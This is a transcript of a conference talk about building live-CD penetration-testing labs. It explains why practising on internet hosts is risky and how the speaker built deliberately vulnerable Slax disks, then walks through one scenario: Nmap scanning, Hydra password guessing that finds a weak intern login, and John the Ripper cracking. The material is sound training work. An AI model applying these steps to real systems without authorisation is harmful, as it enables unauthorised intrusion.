 All right. I'm going to go ahead and start. My name's Tom. Everybody hear me? OK. My name's Tom Wilhelm. You're going to be staring at this picture for quite a while, because I got quite a bit of a backstory to tell you. I've been working in the computer industry for about 15 years. And I've been working in security for about half of that. But I actually haven't worked in penetration testing. Actually, that's fairly a new thing for me. What happened was the company I was working for, we ended up getting bought out. And I ended up moving into the pen test field. So like most people would do, once they got a new job that they got to deal with, is they go hit in the internet and they start looking around and trying to figure out exactly what they're supposed to know so they can actually get paid to do the job that they're supposed to do. So I went around. And of course, I knew security at a high level. But I hadn't actually done any pen testing before. I keep spitting into the mic, so let's try it a little bit here. So like I said, I had done very little actual pen testing. Oh, this is not working out. Little pen testing. And so what I needed to do is I needed to figure out what I was going to do. So I went around and found that there's a whole bunch of tools, a ton of tools. And they're actually fantastic. But the problem was is that there wasn't a whole lot of targets to actually practice against. And this is actually why this talk is being done, because there was a couple websites out there that allowed you to hack over the web. There's cross-site scripting. And then there's trying to do the database attacks, things like that, SQL. And then there's also the scenarios produced by Foundstone. Well, Foundstone, if you've done any of those, you've got to load up the box. And then you've got to put all their software in there. That's fine. But then a lot of it is also the same thing. You go to the web page. You start doing the cross-site scripting stuff. You start doing the SQL attacks. Problem is is that that's not really what pen test is. That's one aspect, and that's an important aspect. But that doesn't cover it at all. So what I did, and a lot of people in the same situation probably did the same thing, is they set themselves up a lab. That's what everybody says. Go do it, make a lab, and then start hacking and learn how to do that. So that's what I did. Set up a server. Wanted something that I knew that was going to be vulnerable, so I picked Windows NT. And sure enough, it was pretty vulnerable. Didn't put any patches on there. Ran nesses against it. Sure enough, spewed out a whole list of things. Then I ran up Metasploit. Next thing I knew, I had a shell on the server. I sat back, and I thought about it for a while, and I congratulated myself for learning to absolutely nothing. So then I also tried loading up a different, in fact, it was a red hat. I tried hacking that, and of course I had all the patches on and everything like that, because it was the latest distro. I didn't get anywhere. So what I did is, I just gave up. I said, well, labs aren't worth it. So I was lucky, because like I said, I actually had to do pen testing. So for the last year and a half, I've done nothing but learn off of real machines. But most people don't have that opportunity. And that's where this talk comes into play. I also want to do a couple little notes. First of all, I actually have a bit of a hearing problem. So if somebody has any questions, if you could at least come toward the front. I know we don't have any mics set up, because I'll probably hear you yelling at me, but I won't have a single clue what you're saying. And then again, we'll also have the Q&A questions room as well that should make things a little bit better. Now, I've got some certifications up there. It's just really to show you. It's not to impress. It's just to show you that I have a huge background specifically in Solaris. And then I do have some security certifications as well. And like I said, this was fairly new to me. So we'll go ahead and proceed now. You guys get something to extra to look at now. Oh, another thing is, is that I'm not actually going to talk about the slides. I'm going to add additional information. So you guys are lucky. Everybody else is just going to look at the desk. And oh, OK, I know what you talked about. No, you guys are going to get other stuff. But if you have any questions about what's on the slide, and I don't cover it, please feel free to ask. So currently, there's two options. If somebody wants to learn how to pen test, we've got the internet, or you've got to create your own lab. Unfortunately, attacking over the internet can produce some very negative effects in your life. One of them is the legal ramifications. There's plenty of stories out there of people who hack over the internet, and a lot of their actions are not intentionally malicious. Sometimes it's accidental. But the problem is that they still end up getting caught, and they still end up having to legally protect themselves, even if it's just for minor infraction, at least what most people would consider. And the people up here may not be the best examples of unintentional or non-malicious individuals. But the real key point to notice is the cost to actually just deal with the legal issues that come in front of them. Those guys actually got some pretty hefty fines. So now, another reason why going over the internet is bad. When you do attacks, it actually can consume a lot of bandwidth. There's quite a few stuff, especially in SS, that does some stuff that could seriously bring down networks, mostly through the bandwidth consumption. Now, a lot of the tools, like I said, make a lot of noise. And intrusion detection systems will notice them. Even your ISPs will notice them as well. And another thing is it actually reduces the quality of service of your internet connection in the household. Now, that last bullet there is actually one of the most critical ones. You do not want to be the person responsible for your wife dropping out after being online for an hour in a guild raid. That is just not a pleasant scenario. So you also have to find targets. Sometimes the specific targets can, finding them can actually be pretty painful. And what you end up doing is you end up finding a particular exploit that you want to run. And then you go surf on the internet for those boxes that match that scenario. Well, the problem is all you're doing is you're running the same tool that you already know an exploit for, and then you're hacking into a system. And you don't really learn anything from that. So then you can also have a friend possibly set up a box in his house. And then you can go over the internet and try to actually do something. The positive side of that is your friend actually learns up how to set up systems. The problem is that often your friends has no more of a clue on what a real world scenario looks like than you do. So in the end, they end up staying up very long and they just come on down. So the real conclusion is that hacking over the internet is not going to really work. What you really need to do is a lab. There's disadvantages to labs, of course. I mentioned the first one where you may not get a whole lot out of it. But you find out that labs can get pretty expensive. You've got to find the right equipment that you want to hack against. And then there's also the electricity cost. And that's just dollars. There's also, from a personal experience, there's a general uncomfortableness. You find that when you're in your house and you've got your lab set up in your bedroom, like I do, and there's nine servers and three monitors and routers and switches and books and disks and everything like that, I found out that the room itself was actually 20 degrees warmer, which made for a pretty uncomfortable scenario. So here's the real kicker to why you set up a lab. Like I mentioned before, the problem is that you don't really know what a real world scenario might be when you're actually trying to set up a lab. It's actually a catch point to, how do you create this if you don't know how a real scenario looks like? So if you write a scenario, you typically already know what the conclusion is or how to solve it. So it doesn't really work. If you try something cold like I did with Red Hat, you end up beating your head up against the wall and not getting anywhere and you just give up. So now the object of learning how to pan test is you actually need to learn how to pan test. So everybody starts somewhere and everybody's got a different skill set as well. Even experts still need opportunities to learn new tactics and new techniques. Now the topic is discusses about live CDs and I'm gonna talk a little bit about my personal experience with live CDs. Most people have come across them in one form or another. Like for example, in the operating systems, a lot of Linux operating systems use live CDs that allow you to drop their operating system onto your hard drive. I've also seen scenarios that suggest using live CDs for media servers, for game servers. I've actually never found any sort of use for that. I think it's kind of a cool idea but not something I would seriously explore, excuse me. So the other thing is another live CD that I've come across is Backtrack. Now a lot of people are probably familiar with that. The thing with the Backtrack in my own personal experience is it's great. Yes, it's on a live CD but usually after five minutes of looking at it, I end up dropping it onto the hard drive anyway. So when I boot up my computer, there it is. I don't have to worry about finding a live CD. I have to worry about updates and anything like that. I can just update right on my hard drive. So my personal opinion of live CDs was, yeah, it's cool, I don't see any use for it. Well, when I started this project, I stumbled across live CDs again for the second time and realized that this would actually be perfect. So there's actually many real advantages to having a live CD as a pen test system, but the real big advantage is that live CDs are actual real systems. You can load up Apache, you can load up databases, FTP, SSH, you name it, you can do it. So they actually emulate real systems. Now there are some disadvantages. You have to ask yourself why you want to have a lab in the first place. I would assume most people here are interested in actually doing pen testing, but if you want to learn how to be a system administrator, using live CDs is a really bad idea. You're not gonna learn how to administer those and set up those boxes, but if you're interested specifically in pen testing, then the live CDs are actually gonna be great. There's the huge disadvantage that I've come across with live CDs is that you are restricted by copyright laws for those owners that, if you want to distribute these live CDs. Now a perfect example is most systems you're allowed to release under GPL, Windows you're not. So for those that are interested in putting together live CDs that have a Windows component and it can be done, not allowed to distribute, that's part of the problem. So you end up getting stuck with those things that are free to release, as long as that's what you intend on doing is distributing them. So I decided to go ahead and run with the idea of putting together pen test labs using live CDs. Now I'm used to being in the Army and they're very process oriented, so I did this from a very process oriented perspective. I realized I needed some standards. So what I did is I decided on slacks. I liked slacks. I was familiar with back track, which is also on slacks, so there's another advantage. And it's actually, in my opinion, a very powerful distro. Just feels more comfortable, mostly probably because of my Solaris background. I also needed a pen test disk and I've already talked about back track and I didn't want to make one from scratch. So what I needed to do is I needed to be able to mirror the attack disk to the pen test live CD. And so everything that I do on the actual live CDs can be exploited purely through using that back track disk. I didn't want to have people to drop additional things on there. So that's just something to keep in mind. I decided on for hardware. I wanted a hardware router to provide DNS and DHCP services. And I also needed at least two systems. And in this case, the faster, the better, just like these guys would appear to be great. If actually if anybody ever puts together something using these two systems up here, I would really like to see that. But anyway, so the next part actually gave me more of a headache than I thought it would. Basically, what I wanted to do originally was to enable DHCP on the live CDs. That way you can just drop it into your network and go. Well, the problem with that was that if I wanted to create any scenarios where there was communication between two servers and I wanted to do scenarios that included man in the middle attacks or things like that, then basically the DHCP would screw things up. So I had to go with static IPs. Now, learning to pen test professionally, another standard that I went with was to use the OSSTMM. Now, a methodology in my opinion is critical. Otherwise you're just a console cowboy and doing your own thing. And that really doesn't get very far in the pen test world as far as actual employment. So, so now let's talk a little bit about Slack's. I've talked about what I wanted to do and now I'm gonna talk about the actual underlying operating system and why I went ahead and did that. Now, it's based on Slackware. Like I said, it's not necessarily the most user friendly, but it actually has the ability to use modules and there's a ton of modules out there already for Slack's. And some of the modules actually include like the whole lamp thing. So you can do basically scenarios from the get go. It's a complete server just by dropping one particular module in there. And for those that are interested in importing other things like RPMs from Red Hat and stuff like that, there's actual tools that will allow you to modify those packages into Slackware modules as well. Another thing is that it's released under GPL. And for those that really don't like Slack's, you actually have the ability to make live CDs from most Linux distributions. There's a site linux-live.org. It's actually a good place to start and they have a lot of scripts that allow you to do that. So you're not stuck with Slackware or Slack's in this case. You can actually use whatever you're more comfortable with if you end up deciding to do something like this. Now, I have actually a small confession. When I built these CDs, I actually did it completely wrong, but I did that intentionally. Let me talk a little bit about what Slack's likes. They like you to bring up your Slack's operating system. If you wanna make modifications to that, you do so while it's running, you make your modifications and then they have tools that allow you to take your changes and convert them into modules. You take those modules, you burn a new CD, you're running with it. Now, there's a directory called root copy. Root copy was there intentionally for people who develop on Windows and don't have the ability for whatever reason to actually do what I just described. Now, the problem with root copy is that when you develop it under Windows, it totally screws up the permissions. So you have to deal with that issue later on through use of scripts, but I actually use it exclusively and the reason why, for the purists out there that wanna stone me right now, the reason why I do that is it allows people to actually look at my disk and find out exactly what I did to put the thing together. That way, if they need to reproduce it or want to expand on it, they can. Now, Slack's works like most Linux distributions and it actually includes a file called rc.local that you can run under root copy. Now, that allows you to run scripts at startup. There also has a default password and login of root and tour. So if you wanna put together your own live CDs to pen test, you need to modify that. And root copy is a good way to do that. As mentioned, rc.local actually includes startup functionalities and can launch applications. What I have up here is just a little snippet from one of the disks. It shows that I'm launching IP tables from it. It's just to give you an idea of what some of the things that you can do with it. Now, I also developed the concept of levels for the live CDs. Now, currently there's two level ones out there. And there's a level two that's being developed right now. The reason for levels is to provide some sort of distinction for those that are learning to pen test versus those who have had more experience. Now, the list up here is actually my interpretation of what might be included on a different levels. Now, you can tweak this, you can make these different scenarios a little bit more difficult, but that's just my general interpretation. So once we decide what level we wanna develop a disk on, we actually have to figure out some real world scenarios. Now, these are actual things that I've come across doing my pen test work is from personal experience, but you can also get other ideas from a lot of the methodology systems out there like OSSTMM. They give you a lot of clues on what you need to look for and it's valid to have that. So now that we have the level and we know what vulnerability we wanna do, we actually need to put together a scenario. I'm gonna go over just one of the disks so people have an idea of what to expect if they actually run one of these disks. Now, all the level one disks are internal scans only, they're internal pen test tests. So that means there's no firewalls to jump through, there's no intrusion detection systems to avoid, things like that. So the more advanced levels like level two, that will also be internal, but there will be additional things that you need to watch out for. Now, we're gonna use, like I said, we're gonna use one of the live CDs. In this case, we're gonna use 1.100. And I'm gonna show you the scenario that's created around there. Now, I also created a hints page. The live CD actually includes a web server and on that web server, you can actually see some scenario information and there is a hints page, like I mentioned. That includes the tools that you're gonna use. It also gives you an idea of if you're stuck and you see the tools, it gives you some additional clues that you might be able to use to get unstuck. And I created those on a white on white background. So if you stumble across a page, you don't necessarily just figure out what the next step is, you have to intentionally look for that. So for disk 1.100, this is a list of tools that you're gonna need for the actual entire scenario. For those who have done pen testing before, these are gonna be obviously familiar to you. Now, this also brings up another way to build live CDs. For those that are creating tools, one of the problems that I've always experienced is finding a tool, you wanna try it out, you've got nothing to try it out against. For people who create these tools, you can also create scenarios using live CDs that you can release along with your tool that will allow people to actually test it out. So we start out using Nmap, and we find that there's FTP, SSH, SMTP, HTTP. If you try to ping the server, you're gonna find out that you're not gonna get any reply. If you run any Nessus scans against the system, you're not, at least when I built the disk, you're not gonna find any. At least, and that actually brings up another point. Like I mentioned before, there are certain tools that aren't on there, and one of the tools is actually Nessus. I actually intentionally avoided using Nessus, or requiring Nessus to be used in these scenarios. The reason why I did that is because the objective is to actually learn how to pen test, not just push buttons get root. So you'll find that in the scenarios that I've created, there's no need for Nessus, and there's no need for Metasploit or anything like that. So now here's a snippet of what can be found on the disk's webpage. For those that can't read it, basically what you'll find is you'll find that there's three individuals that are classified as administrators on this particular system. There's Adam Adams, Bob Banter, and Chad Coffey. Now, there's two ways to approach this. Turns out that Bob Banter is an actual intern. You can either try to generate a whole bunch of user lists off of those names in different configurations, or you can go just after Bob Banter. And in this case, I'm gonna actually show you just Bob. So this slide shows the results of HydrScan using additional checks for null password, or passwords that match login names. They're sure enough that you find out that the intern is a complete security idiot, his login and password match. Now, you also notice that B Banter is the format for the login. At this point, most people would actually log into the server, so would I, and start sniffing around. Well, it turns out that the head admin isn't nearly as of an idiot as Bob Banter is, because Bob Banter has very limited functionality on the server. So, back we go to Hydra, see if we can dig a little bit more. So we start up Hydra again, and we find out that we add A Adams as the user, and C Coffey as the user. And we find out that A Adams actually has a crackable password using Hydra. And in this case, it's Nostradamus. So now, next thing that most people would do is they would try to elevate privileges or get more information out of it. That's as far as I'm gonna go on this particular scenario for those that actually wanna try it. But naturally, what you would wanna do is eventually obtain root access. That's what most people wanna do. And then, like I said, this is a beginning level, so that would be a natural thing to learn to do. And you're gonna use John the Ripper to actually get the password. And then eventually, you're gonna also start digging around, and you're gonna find out that there's a file on there that is encrypted. And it's probably a leftover from this system being an old FTP server. If you actually, you'll find out on that NenMap that there's an FTP server, but if you actually try to log on to FTP, you'll find that it's broken. Well, the idea was is that, like most people, they don't end up rebuilding systems, they just move them over and throw something new on there and intentionally break whatever they don't want running. So, if you can actually get into the file, crack it open, and find out some information out of there, then you'll have finished the particular desk. So, that's what these disks are all about. So, what's the next step? What else can we do? Well, we could do some wireless network stuff as well. Most people assume that wireless hacking is actually pretty easy. I mean, you get out there, you start sniffing it, you collect a bunch of packets, you break in, oh, you're logged on now. Now, there's a bunch of different scenarios that you could do that would play into something like this live CD pentest lab. So, what about more complex network-based scenarios, including firewalls, intrusion detection, network intrusion, prevention, attacking log servers? There's a lot more things that you could do. So, essentially network hacking actually has some disadvantages as well. Typically you need more equipment, but it's a really critical skill to learn. Now, there's a possibility, it's not, it's more than a possibility, the way to get around this, I mean, if you don't want an expansive lab with all these different systems, is you can actually virtualize this. And that's what I plan on doing down the road with a lot of the larger external pentest stuff. So, another possibility for live CDs could be to learn forensics. And in fact, in any classroom environment, it would be a good place to start using live CDs. You can actually tailor your course to match the scenarios that you create using live CDs. Now, I've probably gone very fast. I've included my email address in the slides for those that wanna contact me. There's also a link to the website that contains the live CDs. I will be in the Q and A room. I'll be passing out some CDs that I have that include the ISOs and consider a bribe to come on down and talk to me, it'd be great. And if anybody has any questions, I will entertain them at this point. I'm sorry, I can't hear you. Could you either speak up or come up, please? Like I said, I have a hearing problem. For some of those that came in late, I got a bit of a hearing problem from when I was in the military. So it's nothing. The ISOs are available on the website, yes. Okay, well, thank you very much.